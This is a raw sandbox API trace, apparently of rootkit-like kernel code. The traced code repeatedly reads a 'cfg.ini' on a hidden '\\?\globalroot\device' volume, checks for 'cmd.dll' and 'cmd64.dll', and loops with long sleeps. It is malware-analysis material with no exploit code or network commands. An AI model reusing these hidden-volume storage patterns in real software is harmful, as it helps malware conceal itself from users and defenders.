IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.032] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.032] KeEnterCriticalRegion () [0120.032] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.032] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.032] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.032] KeLeaveCriticalRegion () [0120.032] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.032] KeEnterCriticalRegion () [0120.032] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.032] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.032] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcdd20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.032] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.032] KeLeaveCriticalRegion () [0120.032] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.032] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.032] KeEnterCriticalRegion () [0120.032] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.032] ExFreePoolWithTag (P=0xfffffa80039da940, Tag=0x0) [0120.032] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.032] KeLeaveCriticalRegion () [0120.032] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.032] ReleaseMutex (hMutex=0xf0) returned 1 [0120.033] Sleep (dwMilliseconds=0x124f80) [0120.044] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.044] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.044] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.044] KeEnterCriticalRegion () [0120.044] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.044] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.044] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.044] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.044] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.044] IdePortDispatch () returned 0x103 [0120.044] KeWaitForMutexObject () returned 0x0 [0120.044] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.044] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.044] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.044] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.044] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.044] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bccb10 [0120.044] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.044] KeLeaveCriticalRegion () [0120.044] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.044] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.044] KeEnterCriticalRegion () [0120.044] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.044] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.045] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.045] KeLeaveCriticalRegion () [0120.045] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.045] KeEnterCriticalRegion () [0120.045] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.045] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.045] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.045] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.045] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.045] IdePortDispatch () returned 0x103 [0120.045] KeWaitForMutexObject () returned 0x0 [0120.045] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.045] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.045] KeLeaveCriticalRegion () [0120.045] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.045] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.045] KeEnterCriticalRegion () [0120.045] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.045] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bfd000 [0120.045] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.045] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.045] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.045] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.045] IdePortDispatch () returned 0x103 [0120.045] KeWaitForMutexObject () returned 0x0 [0120.045] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.045] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.045] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.045] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.045] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.045] IdePortDispatch () returned 0x103 [0120.046] KeWaitForMutexObject () returned 0x0 [0120.046] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.046] KeLeaveCriticalRegion () [0120.046] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.046] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.046] KeEnterCriticalRegion () [0120.046] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.046] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.046] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.046] KeLeaveCriticalRegion () [0120.046] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.047] KeEnterCriticalRegion () [0120.047] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.047] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.047] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcdd20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.047] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.047] KeLeaveCriticalRegion () [0120.047] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.047] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.047] KeEnterCriticalRegion () [0120.047] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.047] ExFreePoolWithTag (P=0xfffffa8003bccb10, Tag=0x0) [0120.047] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.047] KeLeaveCriticalRegion () [0120.047] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.047] ReleaseMutex (hMutex=0xf0) returned 1 [0120.047] Sleep (dwMilliseconds=0x124f80) [0120.062] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.062] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.062] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.062] KeEnterCriticalRegion () [0120.062] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.062] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.062] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.062] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.062] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.062] IdePortDispatch () returned 0x103 [0120.062] KeWaitForMutexObject () returned 0x0 [0120.062] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.062] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.062] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.062] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.062] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.062] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcce50 [0120.062] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.062] KeLeaveCriticalRegion () [0120.062] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.062] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.062] KeEnterCriticalRegion () [0120.062] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.062] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.062] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.062] KeLeaveCriticalRegion () [0120.062] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.062] KeEnterCriticalRegion () [0120.062] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.062] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.062] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.062] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.062] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.062] IdePortDispatch () returned 0x103 [0120.063] KeWaitForMutexObject () returned 0x0 [0120.063] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.063] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.063] KeLeaveCriticalRegion () [0120.063] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.063] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.063] KeEnterCriticalRegion () [0120.063] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.063] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c86000 [0120.063] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.063] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.063] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.063] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.063] IdePortDispatch () returned 0x103 [0120.063] KeWaitForMutexObject () returned 0x0 [0120.063] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.063] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.063] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.063] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.063] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.063] IdePortDispatch () returned 0x103 [0120.063] KeWaitForMutexObject () returned 0x0 [0120.064] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.064] KeLeaveCriticalRegion () [0120.064] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.064] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.064] KeEnterCriticalRegion () [0120.064] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.064] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.064] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.064] KeLeaveCriticalRegion () [0120.064] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.064] KeEnterCriticalRegion () [0120.064] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.064] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.064] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc2ba0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.064] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.064] KeLeaveCriticalRegion () [0120.064] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.064] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.064] KeEnterCriticalRegion () [0120.064] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.064] ExFreePoolWithTag (P=0xfffffa8003bcce50, Tag=0x0) [0120.064] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.064] KeLeaveCriticalRegion () [0120.064] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.064] ReleaseMutex (hMutex=0xf0) returned 1 [0120.064] Sleep (dwMilliseconds=0x124f80) [0120.080] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.080] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.080] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.080] KeEnterCriticalRegion () [0120.080] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.080] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.080] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.080] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.080] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.080] IdePortDispatch () returned 0x103 [0120.080] KeWaitForMutexObject () returned 0x0 [0120.080] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.080] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.080] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.080] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.080] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.080] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcd620 [0120.080] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.080] KeLeaveCriticalRegion () [0120.080] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.080] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.081] KeEnterCriticalRegion () [0120.081] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.081] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.081] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.081] KeLeaveCriticalRegion () [0120.081] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.081] KeEnterCriticalRegion () [0120.081] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.081] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.081] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.081] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.081] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.081] IdePortDispatch () returned 0x103 [0120.081] KeWaitForMutexObject () returned 0x0 [0120.081] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.081] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.081] KeLeaveCriticalRegion () [0120.081] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.081] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.081] KeEnterCriticalRegion () [0120.081] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.081] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c8f000 [0120.081] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.081] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.081] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.081] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.081] IdePortDispatch () returned 0x103 [0120.081] KeWaitForMutexObject () returned 0x0 [0120.081] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.081] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.081] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.082] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.082] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.082] IdePortDispatch () returned 0x103 [0120.082] KeWaitForMutexObject () returned 0x0 [0120.082] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.082] KeLeaveCriticalRegion () [0120.082] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.082] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.082] KeEnterCriticalRegion () [0120.082] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.082] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.082] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.082] KeLeaveCriticalRegion () [0120.082] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.082] KeEnterCriticalRegion () [0120.082] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.082] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.082] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.082] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.082] KeLeaveCriticalRegion () [0120.083] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.083] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.083] KeEnterCriticalRegion () [0120.083] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.083] ExFreePoolWithTag (P=0xfffffa8003bcd620, Tag=0x0) [0120.083] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.083] KeLeaveCriticalRegion () [0120.083] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.083] ReleaseMutex (hMutex=0xf0) returned 1 [0120.083] Sleep (dwMilliseconds=0x124f80) [0120.097] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.097] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.097] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.097] KeEnterCriticalRegion () [0120.097] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.097] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.097] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) 